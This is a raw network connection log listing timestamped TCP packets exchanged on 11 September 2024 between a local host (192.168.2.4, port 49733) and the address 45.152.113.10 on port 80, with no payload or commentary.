Sep 11, 2024 22:52:05.767052889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767074108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767096996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767119884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767127037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767155886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767183065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767205954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767216921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767239094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767266035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767268896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767285109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767302036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767328978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767333984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767357111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767365932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767379999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767416954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767431021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767465115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767493010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767517090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767649889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767682076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767713070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767715931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767735004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767765999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767771006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767796993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767827034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767841101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767841101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767855883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767878056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767889023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767895937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767940044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767940998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767988920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768004894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768023014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768050909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768054962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768086910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768090010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768111944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768120050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768136024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768156052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.768172026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.768209934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780451059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780502081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780519962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780555010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780556917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780601978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780610085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780651093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780656099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780683041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780704975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780733109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780740023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780765057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780785084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780797958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780818939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780827045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780853033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780858994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780878067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780891895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780910015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780924082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780941963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780956030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.780970097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.780991077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.781011105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.781044960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.894190073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.899518967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.024934053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025002956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025022030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025043964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025067091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025098085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025132895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025144100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025165081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025171041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025197983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025199890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025233984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025235891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025254011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025266886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025281906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025317907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025325060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025367022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025372028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025398970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025422096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025433064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025445938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025485992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025485992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025520086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025540113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025556087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025577068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025593042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025613070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025625944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025648117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025659084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025685072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025690079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025711060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025741100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025742054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025773048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025798082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025823116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025836945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025855064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025878906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025888920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025902033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025922060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025938034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025954008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.025975943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.025985956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026004076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026036024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026046991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026068926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026089907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026118994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026128054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026150942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026174068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026202917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026202917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026252985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026258945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026284933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026303053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026318073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026340961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026361942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026366949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026398897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026424885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026448011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026448965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026499987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026499987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026534081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026556969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026580095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026585102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026618004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026640892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026648998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026675940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026683092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026700974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026731968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026747942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026766062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026788950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026798010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026817083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026829958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026854038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026863098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026886940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026911974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026928902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026947975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026969910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.026981115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.026998043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027014017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027045965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027048111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027081966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027086020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027106047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027116060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027139902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027165890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027168036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027201891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027220011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027250051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027257919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027302027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027307034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027333975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027357101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027367115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027393103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027432919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027446032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027479887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027499914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027529001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027539015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027561903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027584076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027594090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027621031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027628899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027642012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027663946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027693033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027695894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027728081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027734041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027755022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027761936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027776957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027795076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027816057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027827978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027852058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027859926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027880907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027893066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027915001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027925968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027950048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027960062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.027980089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.027992010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028024912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028028011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028053045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028058052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028090000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028120995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028135061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028152943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028156042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028186083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028197050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028220892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028229952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028249979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028255939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028278112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028285027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028297901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028316975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028342009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028350115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028366089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028382063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028403044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028414965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028440952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028448105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028481007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028486967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028508902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028512955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028526068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028546095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028578043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028578043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028599024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028610945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028640032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028644085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028657913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028676987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028707027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028712034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028728008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028744936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028769970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028779030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028798103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028811932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028839111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028846979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028867006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028879881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028906107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028913021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028924942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028947115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.028973103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.028990030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113352060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113434076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113439083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113496065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113497019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113548040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113548040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113579988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113595009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113614082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113631964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113648891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113668919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113701105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113706112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113735914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113756895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113770962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113785982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113804102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113822937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113857985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113859892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113892078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113914967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113924980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113939047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.113957882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.113975048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.114003897 CEST	49733	80	192.168.2.4	45.152.113.10
